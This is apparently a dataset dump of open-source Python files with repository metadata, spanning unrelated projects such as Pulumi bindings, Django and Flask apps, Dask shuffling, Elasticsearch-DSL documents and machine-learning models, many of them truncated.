from typing import Any, Mapping, Optional, Sequence, Union
from ... import _utilities, _tables
from... | 39.153846 | 206 | 0.672977 |
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from ... import _utilities, _tables
from . import outputs
from ._enums import *
__all__ = [
'ListWorkflowCallbackUrlResult',
'AwaitableListWorkflowCallbackUrlResult',
'list_workflow_callback_url'... | true | true |
f77662de3eac32a8ec3bb1d09c2bae9cd1833f0f | 1,212 | py | Python | ros/src/tools/fakeGreenLight.py | cedricxie/SDC-System-Integration | e21847606b7ce53b3e3ad09341ae72f8e877739a | [
"MIT"
] | null | null | null | ros/src/tools/fakeGreenLight.py | cedricxie/SDC-System-Integration | e21847606b7ce53b3e3ad09341ae72f8e877739a | [
"MIT"
] | null | null | null | ros/src/tools/fakeGreenLight.py | cedricxie/SDC-System-Integration | e21847606b7ce53b3e3ad09341ae72f8e877739a | [
"MIT"
] | 3 | 2018-02-26T14:26:18.000Z | 2020-02-17T00:02:16.000Z | #!/usr/bin/env python
import argparse
import rospy
from std_msgs.msg import Int32
from geometry_msgs.msg import PoseStamped, TwistStamped
from styx_msgs.msg import Lane, Waypoint
from dbw_mkz_msgs.msg import BrakeCmd
import math
import sys
import numpy as np
import csv
MPS = 0.44704
class FakeGreenLight():
def _... | 30.3 | 105 | 0.712046 |
import argparse
import rospy
from std_msgs.msg import Int32
from geometry_msgs.msg import PoseStamped, TwistStamped
from styx_msgs.msg import Lane, Waypoint
from dbw_mkz_msgs.msg import BrakeCmd
import math
import sys
import numpy as np
import csv
MPS = 0.44704
class FakeGreenLight():
def __init__(self):
... | true | true |
f7766351e335369bd9ea945858d8dfd8da575bc1 | 5,245 | py | Python | research/gan/progressive_gan/data_provider_test.py | SimiaCryptus/models | c652a23a650070b71e286f1ded93726670161940 | [
"Apache-2.0"
] | null | null | null | research/gan/progressive_gan/data_provider_test.py | SimiaCryptus/models | c652a23a650070b71e286f1ded93726670161940 | [
"Apache-2.0"
] | null | null | null | research/gan/progressive_gan/data_provider_test.py | SimiaCryptus/models | c652a23a650070b71e286f1ded93726670161940 | [
"Apache-2.0"
] | null | null | null | # Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 38.851852 | 80 | 0.658532 | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
import data_provider
import numpy as np
import tensorflow as tf
from absl import flags
class DataProviderTest(tf.test.TestCase):
def setUp(self):
super(DataProviderTest, self).setUp()
se... | true | true |
f77663a23d5ce54209fc4dedc3421b86c5148e33 | 3,436 | py | Python | src/term/models.py | eeriksp/e-dhamma-backend | c473b4504fb79e109c20f8f7ebaf05608d0a48ce | [
"MIT"
] | 1 | 2018-05-03T19:31:57.000Z | 2018-05-03T19:31:57.000Z | src/term/models.py | eeriksp/e-dhamma-backend | c473b4504fb79e109c20f8f7ebaf05608d0a48ce | [
"MIT"
] | 18 | 2018-05-03T19:30:52.000Z | 2022-02-12T04:20:58.000Z | src/term/models.py | eeriksp/e-dhamma-backend | c473b4504fb79e109c20f8f7ebaf05608d0a48ce | [
"MIT"
] | 1 | 2018-11-15T19:15:34.000Z | 2018-11-15T19:15:34.000Z | from django.db import models
from django.utils.translation import gettext_lazy as _
class _Gender:
MASCULINE = 'm'
FEMINE = 'f'
NEUTER = 'n'
CHOICES = (
(MASCULINE, 'meesssgu'),
(FEMINE, 'naissugu'),
(NEUTER, 'kesksugu'),
)
class _WordClass:
VERB = 'v'
NOUN = 'n'
... | 30.678571 | 102 | 0.656868 | from django.db import models
from django.utils.translation import gettext_lazy as _
class _Gender:
MASCULINE = 'm'
FEMINE = 'f'
NEUTER = 'n'
CHOICES = (
(MASCULINE, 'meesssgu'),
(FEMINE, 'naissugu'),
(NEUTER, 'kesksugu'),
)
class _WordClass:
VERB = 'v'
NOUN = 'n'
... | true | true |
f77663b33429e29065fdf04997d85dc3c8dcb11d | 484 | py | Python | Aula55/controller/base_controller.py | PabloSchumacher/TrabalhosPython | 828edd35eb40442629211bc9f1477f75fb025d74 | [
"bzip2-1.0.6",
"MIT"
] | 1 | 2020-01-21T11:43:12.000Z | 2020-01-21T11:43:12.000Z | Aula55Desafio/controller/base_controller.py | matheusschuetz/TrabalhoPython | 953957898de633f8f2776681a45a1a15b68e80b9 | [
"MIT"
] | null | null | null | Aula55Desafio/controller/base_controller.py | matheusschuetz/TrabalhoPython | 953957898de633f8f2776681a45a1a15b68e80b9 | [
"MIT"
] | null | null | null | from flask_restful import Resource
from Aula55.dao.base_dao import BaseDao
class BaseController(Resource):
def __init__(self, dao:BaseDao):
self.dao = dao
def get(self, id=None):
if id:
return self.dao.get_by_id(id)
return self.dao.list_all()
def post(self, model):
... | 22 | 41 | 0.634298 | from flask_restful import Resource
from Aula55.dao.base_dao import BaseDao
class BaseController(Resource):
def __init__(self, dao:BaseDao):
self.dao = dao
def get(self, id=None):
if id:
return self.dao.get_by_id(id)
return self.dao.list_all()
def post(self, model):
... | true | true |
f77663ea287a14b50e9d5b31890c37f231f9ac81 | 4,531 | py | Python | cogs/owners.py | Nirlep5252/SynTech | 955cf600800f0cf0f03e6b1932ac2923d6beb2bf | [
"MIT"
] | 2 | 2021-12-12T03:17:10.000Z | 2022-03-28T08:04:07.000Z | cogs/owners.py | Nirlep5252/SynTech | 955cf600800f0cf0f03e6b1932ac2923d6beb2bf | [
"MIT"
] | null | null | null | cogs/owners.py | Nirlep5252/SynTech | 955cf600800f0cf0f03e6b1932ac2923d6beb2bf | [
"MIT"
] | null | null | null | import logging
import discord
from discord.ext import commands
from config import VERIFIED, MAIN_COLOR, SUGGESTIONS_CHANNEL
from utils.button import Close, Ticket, Verify
from utils.database import db
import asyncio
import sys
from animec import Aninews
news = Aninews()
class owners(commands.Cog, de... | 38.07563 | 283 | 0.634738 | import logging
import discord
from discord.ext import commands
from config import VERIFIED, MAIN_COLOR, SUGGESTIONS_CHANNEL
from utils.button import Close, Ticket, Verify
from utils.database import db
import asyncio
import sys
from animec import Aninews
news = Aninews()
class owners(commands.Cog, de... | true | true |
f776649292a4719d0bf2e11b40f0406738ee5e44 | 41,865 | py | Python | rhino/SoftwareTool/Floorslab_AIM_GH_21.py | augmentedfabricationlab/Timber_Clay_Hybrid | 243efddac77970c989b551697a0e188932064849 | [
"MIT"
] | 1 | 2020-12-16T01:25:07.000Z | 2020-12-16T01:25:07.000Z | rhino/SoftwareTool/Floorslab_AIM_GH_21.py | augmentedfabricationlab/timber_clay_hybrid | 243efddac77970c989b551697a0e188932064849 | [
"MIT"
] | null | null | null | rhino/SoftwareTool/Floorslab_AIM_GH_21.py | augmentedfabricationlab/timber_clay_hybrid | 243efddac77970c989b551697a0e188932064849 | [
"MIT"
] | null | null | null | import math
import copy
import operator
from compas.geometry import Point, Box, Frame, Vector, scale_vector, normalize_vector, Polygon, Rotation, is_point_in_polygon_xy, angle_vectors_signed
from compas.datastructures import Mesh
from compas.geometry import Line
from compas.geometry import intersection_line_line_xy, i... | 49.485816 | 163 | 0.622501 | import math
import copy
import operator
from compas.geometry import Point, Box, Frame, Vector, scale_vector, normalize_vector, Polygon, Rotation, is_point_in_polygon_xy, angle_vectors_signed
from compas.datastructures import Mesh
from compas.geometry import Line
from compas.geometry import intersection_line_line_xy, i... | true | true |
f77665113d2ffc7ec4bd6d5a89cba910be5bf0ab | 3,620 | py | Python | pebbles/__init__.py | CSCfi/pebbles | 24b32e8fc538cc8095fda62c892a8221346c2bce | [
"MIT"
] | 4 | 2017-05-11T14:50:32.000Z | 2020-01-10T09:02:27.000Z | pebbles/__init__.py | CSCfi/pebbles | 24b32e8fc538cc8095fda62c892a8221346c2bce | [
"MIT"
] | 145 | 2017-04-07T11:01:58.000Z | 2019-12-11T15:30:23.000Z | pebbles/__init__.py | CSCfi/pebbles | 24b32e8fc538cc8095fda62c892a8221346c2bce | [
"MIT"
] | 3 | 2017-10-25T12:36:16.000Z | 2018-04-26T08:49:34.000Z | """
================
Pebbles overview
================
Pebbles is about provisioning cloud resources with a simple end-user
experience. Currently supported provisioning back-end is OpenStack. It's
possible to provision either full Virtual Machines or merely Docker containers
from a pool of hosts that Pebbles maintains... | 39.347826 | 81 | 0.758564 | true | true | |
f77666bce1fa850e9167d04690e25c2e2db68fd4 | 5,713 | py | Python | books/views.py | point-source/WhatManager2 | d087f3603a5a96cf191a30d56619c0f5ce0dabc7 | [
"MIT"
] | 1 | 2020-01-07T01:45:49.000Z | 2020-01-07T01:45:49.000Z | books/views.py | point-source/WhatManager2 | d087f3603a5a96cf191a30d56619c0f5ce0dabc7 | [
"MIT"
] | null | null | null | books/views.py | point-source/WhatManager2 | d087f3603a5a96cf191a30d56619c0f5ce0dabc7 | [
"MIT"
] | null | null | null | import os
from django.contrib.auth.decorators import login_required
from django.core.exceptions import ValidationError
from django.http.response import HttpResponse
from django.shortcuts import render, redirect
from WhatManager2 import whatimg
from WhatManager2.settings import BIBLIOTIK_ANNOUNCE, RED_ANNOUNCE
from bo... | 37.585526 | 98 | 0.657973 | import os
from django.contrib.auth.decorators import login_required
from django.core.exceptions import ValidationError
from django.http.response import HttpResponse
from django.shortcuts import render, redirect
from WhatManager2 import whatimg
from WhatManager2.settings import BIBLIOTIK_ANNOUNCE, RED_ANNOUNCE
from bo... | true | true |
f77666f39c2bd0ab3409ddc57e2ab0f4d92b0958 | 4,178 | py | Python | research/cv/ras/src/resnet50.py | mindspore-ai/models | 9127b128e2961fd698977e918861dadfad00a44c | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | research/cv/ras/src/resnet50.py | mindspore-ai/models | 9127b128e2961fd698977e918861dadfad00a44c | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | research/cv/ras/src/resnet50.py | mindspore-ai/models | 9127b128e2961fd698977e918861dadfad00a44c | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | """
# Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agree... | 33.693548 | 120 | 0.592867 |
import mindspore as ms
import mindspore.nn as nn
import numpy as np
class Basic_Block(nn.Cell):
expansion = 4
def __init__(self, in_c, out_c, stride=1, downsample=None):
super(Basic_Block, self).__init__()
self.conv1 = nn.Conv2d(in_channels=in_c, out_channels=out_c, kernel_size=(1, 1), stride... | true | true |
f77667631ef12ea1a8e5b6c43992fb20e3f3199e | 3,472 | py | Python | lantis/webradio/models.py | attakei/lantis-web-radio | febf5fe156da4bd60ef9d1d09fe57a62c435a380 | [
"MIT"
] | null | null | null | lantis/webradio/models.py | attakei/lantis-web-radio | febf5fe156da4bd60ef9d1d09fe57a62c435a380 | [
"MIT"
] | null | null | null | lantis/webradio/models.py | attakei/lantis-web-radio | febf5fe156da4bd60ef9d1d09fe57a62c435a380 | [
"MIT"
] | null | null | null | import os
import re
from . import utils, ChannelNotFound, settings
class Channel(object):
STREAM_HOST = 'qt.web-radio.biz:1935'
def __init__(self, site_url, title, last_episode_url):
self.title = title
self.site_url = site_url
self.last_episode_url = last_episode_url
self.chan... | 29.931034 | 108 | 0.584389 | import os
import re
from . import utils, ChannelNotFound, settings
class Channel(object):
STREAM_HOST = 'qt.web-radio.biz:1935'
def __init__(self, site_url, title, last_episode_url):
self.title = title
self.site_url = site_url
self.last_episode_url = last_episode_url
self.chan... | true | true |
f77667acc2ace0dbd7390b98cea84070489a08ab | 423 | py | Python | contextManager/ofutonia.py | terasakisatoshi/pythonCodes | baee095ecee96f6b5ec6431267cdc6c40512a542 | [
"MIT"
] | null | null | null | contextManager/ofutonia.py | terasakisatoshi/pythonCodes | baee095ecee96f6b5ec6431267cdc6c40512a542 | [
"MIT"
] | null | null | null | contextManager/ofutonia.py | terasakisatoshi/pythonCodes | baee095ecee96f6b5ec6431267cdc6c40512a542 | [
"MIT"
] | null | null | null | class お布団(object):
def __init__(self):
print("眠いよ")
def __enter__(self):
print("入眠")
return self
def __exit__(self, type_, value, traceback):
print(type_, value, traceback)
print("起床")
return True
def 状態確認(self):
print("オフトニアなうZzz")
def main(... | 16.269231 | 48 | 0.529551 | class お布団(object):
def __init__(self):
print("眠いよ")
def __enter__(self):
print("入眠")
return self
def __exit__(self, type_, value, traceback):
print(type_, value, traceback)
print("起床")
return True
def 状態確認(self):
print("オフトニアなうZzz")
def main(... | true | true |
f77667d7bd931a29ac77c198740b0079b1ba5dbc | 381 | py | Python | tools/mo/openvino/tools/mo/front/mxnet/exp_ext.py | pazamelin/openvino | b7e8ef910d7ed8e52326d14dc6fd53b71d16ed48 | [
"Apache-2.0"
] | 1 | 2019-09-22T01:05:07.000Z | 2019-09-22T01:05:07.000Z | tools/mo/openvino/tools/mo/front/mxnet/exp_ext.py | pazamelin/openvino | b7e8ef910d7ed8e52326d14dc6fd53b71d16ed48 | [
"Apache-2.0"
] | 58 | 2020-11-06T12:13:45.000Z | 2022-03-28T13:20:11.000Z | tools/mo/openvino/tools/mo/front/mxnet/exp_ext.py | pazamelin/openvino | b7e8ef910d7ed8e52326d14dc6fd53b71d16ed48 | [
"Apache-2.0"
] | 2 | 2021-07-14T07:40:50.000Z | 2021-07-27T01:40:03.000Z | # Copyright (C) 2018-2021 Intel Corporation
# SPDX-License-Identifier: Apache-2.0
from openvino.tools.mo.ops.activation_ops import Exp
from openvino.tools.mo.front.extractor import FrontExtractorOp
class ExpExtractor(FrontExtractorOp):
op = 'exp'
enabled = True
@classmethod
def extract(cls, node):
... | 23.8125 | 62 | 0.732283 |
from openvino.tools.mo.ops.activation_ops import Exp
from openvino.tools.mo.front.extractor import FrontExtractorOp
class ExpExtractor(FrontExtractorOp):
op = 'exp'
enabled = True
@classmethod
def extract(cls, node):
Exp.update_node_stat(node)
return cls.enabled
| true | true |
f77667dfddaf6ac11be2b638e044ab5707c1d6c0 | 17,036 | py | Python | elasticsearch_dsl/document.py | tommyzli/elasticsearch-dsl-py | 253c9d5cbfa27b87fa7121e5d4dc54d45edf204c | [
"Apache-2.0"
] | 1 | 2021-09-12T00:43:35.000Z | 2021-09-12T00:43:35.000Z | elasticsearch_dsl/document.py | tommyzli/elasticsearch-dsl-py | 253c9d5cbfa27b87fa7121e5d4dc54d45edf204c | [
"Apache-2.0"
] | null | null | null | elasticsearch_dsl/document.py | tommyzli/elasticsearch-dsl-py | 253c9d5cbfa27b87fa7121e5d4dc54d45edf204c | [
"Apache-2.0"
] | 1 | 2020-12-04T18:14:15.000Z | 2020-12-04T18:14:15.000Z | # Licensed to Elasticsearch B.V. under one or more contributor
# license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright
# ownership. Elasticsearch B.V. licenses this file to you under
# the Apache License, Version 2.0 (the "License"); you may
# not use ... | 36.794816 | 95 | 0.60513 |
try:
import collections.abc as collections_abc except ImportError:
import collections as collections_abc
from fnmatch import fnmatch
from elasticsearch.exceptions import NotFoundError, RequestError
from six import add_metaclass, iteritems
from .connections import get_connection
from .exceptions import Ille... | true | true |
f776683207ca933cf5a746917165d39f41328bf7 | 7,375 | py | Python | xfel/merging/application/group/group_reflections.py | dperl-sol/cctbx_project | b9e390221a2bc4fd00b9122e97c3b79c632c6664 | [
"BSD-3-Clause-LBNL"
] | 155 | 2016-11-23T12:52:16.000Z | 2022-03-31T15:35:44.000Z | xfel/merging/application/group/group_reflections.py | dperl-sol/cctbx_project | b9e390221a2bc4fd00b9122e97c3b79c632c6664 | [
"BSD-3-Clause-LBNL"
] | 590 | 2016-12-10T11:31:18.000Z | 2022-03-30T23:10:09.000Z | xfel/merging/application/group/group_reflections.py | dperl-sol/cctbx_project | b9e390221a2bc4fd00b9122e97c3b79c632c6664 | [
"BSD-3-Clause-LBNL"
] | 115 | 2016-11-15T08:17:28.000Z | 2022-02-09T15:30:14.000Z | from __future__ import absolute_import, division, print_function
from six.moves import range
from xfel.merging.application.worker import worker
from dials.array_family import flex
from xfel.merging.application.reflection_table_utils import reflection_table_utils
from xfel.merging.application.utils.memory_usage import g... | 46.383648 | 181 | 0.736407 | from __future__ import absolute_import, division, print_function
from six.moves import range
from xfel.merging.application.worker import worker
from dials.array_family import flex
from xfel.merging.application.reflection_table_utils import reflection_table_utils
from xfel.merging.application.utils.memory_usage import g... | true | true |
f776690dd09624d6b374d4ecaf5ffa7149df6fdb | 31,896 | py | Python | dask/dataframe/shuffle.py | thinhnd2104/dask | 995c9dcd47ec040564a66d399fffea18e3dac597 | [
"BSD-3-Clause"
] | null | null | null | dask/dataframe/shuffle.py | thinhnd2104/dask | 995c9dcd47ec040564a66d399fffea18e3dac597 | [
"BSD-3-Clause"
] | null | null | null | dask/dataframe/shuffle.py | thinhnd2104/dask | 995c9dcd47ec040564a66d399fffea18e3dac597 | [
"BSD-3-Clause"
] | null | null | null | import contextlib
import logging
import math
import shutil
import tempfile
import uuid
import numpy as np
import pandas as pd
import tlz as toolz
from .. import base, config
from ..base import compute, compute_as_if_collection, is_dask_collection, tokenize
from ..highlevelgraph import HighLevelGraph
from ..layers imp... | 32.250758 | 94 | 0.627132 | import contextlib
import logging
import math
import shutil
import tempfile
import uuid
import numpy as np
import pandas as pd
import tlz as toolz
from .. import base, config
from ..base import compute, compute_as_if_collection, is_dask_collection, tokenize
from ..highlevelgraph import HighLevelGraph
from ..layers imp... | true | true |
f7766944c85e8b747e3aba64ad23885bb3682e0e | 667 | py | Python | manage.py | NoelKling/bugtracker | 57cfd12f0dedd62e7bd7909e2af4609717115a95 | [
"MIT"
] | 1 | 2021-06-18T14:56:08.000Z | 2021-06-18T14:56:08.000Z | manage.py | NoelKling/bugtracker | 57cfd12f0dedd62e7bd7909e2af4609717115a95 | [
"MIT"
] | 20 | 2021-06-17T08:40:22.000Z | 2021-07-07T03:58:24.000Z | manage.py | NoelKling/bugtracker | 57cfd12f0dedd62e7bd7909e2af4609717115a95 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys
def main():
"""Run administrative tasks."""
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'bug_tracker.settings')
try:
from django.core.management import execute_from_command_line
except ... | 29 | 75 | 0.68066 | import os
import sys
def main():
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'bug_tracker.settings')
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
... | true | true |
f776694f5016564016cb134fa46a0d915db8a883 | 96 | py | Python | venv/lib/python3.8/site-packages/debugpy/_vendored/pydevd/pydevd_attach_to_process/winappdbg/thread.py | GiulianaPola/select_repeats | 17a0d053d4f874e42cf654dd142168c2ec8fbd11 | [
"MIT"
] | 2 | 2022-03-13T01:58:52.000Z | 2022-03-31T06:07:54.000Z | venv/lib/python3.8/site-packages/debugpy/_vendored/pydevd/pydevd_attach_to_process/winappdbg/thread.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | 19 | 2021-11-20T04:09:18.000Z | 2022-03-23T15:05:55.000Z | venv/lib/python3.8/site-packages/debugpy/_vendored/pydevd/pydevd_attach_to_process/winappdbg/thread.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | null | null | null | /home/runner/.cache/pip/pool/b8/4b/97/9bcc52ab88b064d7f05bac179eb4ef1787e9be4613cfef95414610da68 | 96 | 96 | 0.895833 | /home/runner/.cache/pip/pool/b8/4b/97/9bcc52ab88b064d7f05bac179eb4ef1787e9be4613cfef95414610da68 | false | true |
f7766aabb567e50a11e4bb964b14b10cb0f70353 | 973 | py | Python | src/src/engine/myutil/sampler.py | XidaoW/iFac | 43c3103051dfffefe8e0eb09fc7fd53b14754519 | [
"MIT"
] | 4 | 2018-10-01T19:18:04.000Z | 2020-10-13T21:43:42.000Z | app/static/lib/myutil/sampler.py | XidaoW/iFac | 43c3103051dfffefe8e0eb09fc7fd53b14754519 | [
"MIT"
] | 9 | 2020-09-04T16:25:33.000Z | 2022-03-08T22:38:13.000Z | src/src/engine/myutil/sampler.py | XidaoW/iFac | 43c3103051dfffefe8e0eb09fc7fd53b14754519 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding:utf-8 -*-
'''
Created on 2015/04/13
@author: drumichiro
'''
import numpy as np
import matplotlib.mlab as mlab
def generateSample(baseLength, mu, sigma, distFunc):
x = np.empty([])
np.random.seed(0)
for i1 in range(len(mu)):
data = distFunc(mu[i1], sigma[i1], baseLen... | 25.605263 | 76 | 0.59815 | import numpy as np
import matplotlib.mlab as mlab
def generateSample(baseLength, mu, sigma, distFunc):
x = np.empty([])
np.random.seed(0)
for i1 in range(len(mu)):
data = distFunc(mu[i1], sigma[i1], baseLength)
x = data if x.shape == () else np.append(x, data, axis=0)
return x
def ge... | true | true |
f7766b0215b0a19fc9269eb8e0a032ada2b1bac2 | 31,971 | py | Python | sdk/textanalytics/azure-ai-textanalytics/tests/test_analyze_sentiment.py | vbarbaresi/azure-sdk-for-python | 397ba46c51d001ff89c66b170f5576cf8f49c05f | [
"MIT"
] | 8 | 2021-01-13T23:44:08.000Z | 2021-03-17T10:13:36.000Z | sdk/textanalytics/azure-ai-textanalytics/tests/test_analyze_sentiment.py | vbarbaresi/azure-sdk-for-python | 397ba46c51d001ff89c66b170f5576cf8f49c05f | [
"MIT"
] | 2 | 2020-03-03T23:11:13.000Z | 2020-03-30T18:50:55.000Z | sdk/textanalytics/azure-ai-textanalytics/tests/test_analyze_sentiment.py | vbarbaresi/azure-sdk-for-python | 397ba46c51d001ff89c66b170f5576cf8f49c05f | [
"MIT"
] | 1 | 2021-05-19T02:55:10.000Z | 2021-05-19T02:55:10.000Z | # coding=utf-8
# ------------------------------------
# Copyright (c) Microsoft Corporation.
# Licensed under the MIT License.
# ------------------------------------
import pytest
import platform
import functools
from azure.core.exceptions import HttpResponseError, ClientAuthenticationError
from azure.core.credential... | 44.404167 | 131 | 0.650777 |
import pytest
import platform
import functools
from azure.core.exceptions import HttpResponseError, ClientAuthenticationError
from azure.core.credentials import AzureKeyCredential
from testcase import TextAnalyticsTest, GlobalTextAnalyticsAccountPreparer
from testcase import TextAnalyticsClientPreparer as _TextAnalyt... | true | true |
f7766b055a2af0f81fd60f171a7e2092b19734da | 244 | py | Python | books/python_workout/code_examples/httpexamples/main.py | roskenet/Playground | 3cce70eeb38646b0f2ffbd071c3aaec7b8f5b9cb | [
"MIT"
] | null | null | null | books/python_workout/code_examples/httpexamples/main.py | roskenet/Playground | 3cce70eeb38646b0f2ffbd071c3aaec7b8f5b9cb | [
"MIT"
] | null | null | null | books/python_workout/code_examples/httpexamples/main.py | roskenet/Playground | 3cce70eeb38646b0f2ffbd071c3aaec7b8f5b9cb | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import requests
def doSomething():
print('Hello World!')
response = requests.get('http://oxygen.192-168-49-2.nip.io/api/name/Felix Roske')
print(response.json())
if __name__ == '__main__':
doSomething()
| 20.333333 | 85 | 0.672131 | import requests
def doSomething():
print('Hello World!')
response = requests.get('http://oxygen.192-168-49-2.nip.io/api/name/Felix Roske')
print(response.json())
if __name__ == '__main__':
doSomething()
| true | true |
f7766b54901c7ec3984cc42ca7bd59f9a7bff4f1 | 205 | py | Python | profiler.py | sanskrit/padmini | 8e7e8946a7d2df9c941f689ea4bc7b6ebb7ca1d0 | [
"MIT"
] | 1 | 2022-03-01T05:05:04.000Z | 2022-03-01T05:05:04.000Z | profiler.py | sanskrit/padmini | 8e7e8946a7d2df9c941f689ea4bc7b6ebb7ca1d0 | [
"MIT"
] | null | null | null | profiler.py | sanskrit/padmini | 8e7e8946a7d2df9c941f689ea4bc7b6ebb7ca1d0 | [
"MIT"
] | null | null | null | import sys
import pstats
from pstats import SortKey
try:
order = sys.argv[2]
except IndexError:
order = "tottime"
p = pstats.Stats(sys.argv[1])
p.strip_dirs().sort_stats(order).print_stats(20)
| 14.642857 | 48 | 0.717073 | import sys
import pstats
from pstats import SortKey
try:
order = sys.argv[2]
except IndexError:
order = "tottime"
p = pstats.Stats(sys.argv[1])
p.strip_dirs().sort_stats(order).print_stats(20)
| true | true |
f7766c303ee122dd110da0bc9bd006b0408173f1 | 667 | py | Python | libtorrent/update_copyright.py | majestrate/twister-core | b509c202607f09169b3ca2380390eb91f6486238 | [
"MIT"
] | 754 | 2015-01-04T02:12:17.000Z | 2022-03-20T10:27:35.000Z | libtorrent/update_copyright.py | majestrate/twister-core | b509c202607f09169b3ca2380390eb91f6486238 | [
"MIT"
] | 144 | 2015-01-04T03:36:56.000Z | 2022-02-04T21:54:21.000Z | libtorrent/update_copyright.py | twisterarmy/twister-core | 9584caf124320fd185ec36fa5ffc95cc7891260e | [
"MIT"
] | 185 | 2015-01-04T23:11:39.000Z | 2022-03-03T18:39:19.000Z | #! /usr/bin/env python
import os
import sys
import glob
import datetime
this_year = datetime.date.today().year
print 'current year: %d' % this_year
def update_file(name):
subst = ''
f = open(name)
for l in f:
if l.startswith('Copyright (c) '):
first_year = int(l[14:18])
if first_year != this_year:
if l... | 21.516129 | 82 | 0.613193 | import os
import sys
import glob
import datetime
this_year = datetime.date.today().year
print 'current year: %d' % this_year
def update_file(name):
subst = ''
f = open(name)
for l in f:
if l.startswith('Copyright (c) '):
first_year = int(l[14:18])
if first_year != this_year:
if l[18] == '-':
l = l... | false | true |
f7766c608d8a7b5f9f529589dfb7104b26783a1f | 9,351 | py | Python | keepercommander/constants.py | Keeper-Security/commander | 93fee5d2ba56f2288e00ab33003597d00a302b5c | [
"MIT"
] | null | null | null | keepercommander/constants.py | Keeper-Security/commander | 93fee5d2ba56f2288e00ab33003597d00a302b5c | [
"MIT"
] | null | null | null | keepercommander/constants.py | Keeper-Security/commander | 93fee5d2ba56f2288e00ab33003597d00a302b5c | [
"MIT"
] | null | null | null | import sys
from typing import List, Tuple
from datetime import timedelta
from urllib.parse import urlparse
# Timeout constants
# Set to default value by using timedelta of 0
TIMEOUT_DEFAULT = timedelta(0)
TIMEOUT_MIN = timedelta(minutes=1)
TIMEOUT_DEFAULT_UNIT = 'minutes'
TIMEOUT_ALLOWED_UNITS = ('days', 'hours', 'mi... | 51.95 | 99 | 0.712223 | import sys
from typing import List, Tuple
from datetime import timedelta
from urllib.parse import urlparse
TIMEOUT_DEFAULT = timedelta(0)
TIMEOUT_MIN = timedelta(minutes=1)
TIMEOUT_DEFAULT_UNIT = 'minutes'
TIMEOUT_ALLOWED_UNITS = ('days', 'hours', 'minutes')
EMAIL_PATTERN = r"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-... | true | true |
f7766cba4aa1900f2e4356cc633cbbeb4df6acb2 | 9,436 | py | Python | src/garage/tf/policies/categorical_cnn_policy.py | bainro/garage | c5afbb19524792d9bbad9b9741f45e1d48ddca3d | [
"MIT"
] | null | null | null | src/garage/tf/policies/categorical_cnn_policy.py | bainro/garage | c5afbb19524792d9bbad9b9741f45e1d48ddca3d | [
"MIT"
] | null | null | null | src/garage/tf/policies/categorical_cnn_policy.py | bainro/garage | c5afbb19524792d9bbad9b9741f45e1d48ddca3d | [
"MIT"
] | null | null | null | """CategoricalCNNPolicy with model."""
import akro
import tensorflow as tf
from garage.tf.distributions import Categorical
from garage.tf.models import CNNModel
from garage.tf.models import MLPModel
from garage.tf.models import Sequential
from garage.tf.policies import StochasticPolicy
class CategoricalCNNPolicy(Sto... | 38.672131 | 79 | 0.599407 | import akro
import tensorflow as tf
from garage.tf.distributions import Categorical
from garage.tf.models import CNNModel
from garage.tf.models import MLPModel
from garage.tf.models import Sequential
from garage.tf.policies import StochasticPolicy
class CategoricalCNNPolicy(StochasticPolicy):
def __init__(self,... | true | true |
f7766d3f5e99d09ba478c681ead17c5b6af91eae | 765 | py | Python | api/controllers/routes.py | M3nin0/inflacpy-api | 26f24a248d1cb821456a8542346ee56228e881f3 | [
"BSD-2-Clause"
] | 1 | 2018-03-07T01:10:41.000Z | 2018-03-07T01:10:41.000Z | api/controllers/routes.py | M3nin0/inflacpy-api | 26f24a248d1cb821456a8542346ee56228e881f3 | [
"BSD-2-Clause"
] | 1 | 2018-03-07T01:11:48.000Z | 2018-05-03T00:27:00.000Z | api/controllers/routes.py | M3nin0/inflacpy-api | 26f24a248d1cb821456a8542346ee56228e881f3 | [
"BSD-2-Clause"
] | null | null | null |
from api import app
from json import dumps
from flask import request
from flask import render_template
from flask_restful import Resource
from flask.ext.jsonpify import jsonify
from api.models.inflacpy.scrap.scrap import Scrap
scrap = Scrap()
@app.route('/')
def home():
"""Método para retorno da página inicial... | 23.181818 | 111 | 0.703268 |
from api import app
from json import dumps
from flask import request
from flask import render_template
from flask_restful import Resource
from flask.ext.jsonpify import jsonify
from api.models.inflacpy.scrap.scrap import Scrap
scrap = Scrap()
@app.route('/')
def home():
return render_template('index.html')
@a... | true | true |
f7766e0cf57a8b298f9a0cb846d8e100046e0cfb | 6,363 | py | Python | home/Markus/RobynStartup.py | rv8flyboy/pyrobotlab | 4e04fb751614a5cb6044ea15dcfcf885db8be65a | [
"Apache-2.0"
] | 63 | 2015-02-03T18:49:43.000Z | 2022-03-29T03:52:24.000Z | home/Markus/RobynStartup.py | hirwaHenryChristian/pyrobotlab | 2debb381fc2db4be1e7ea6e5252a50ae0de6f4a9 | [
"Apache-2.0"
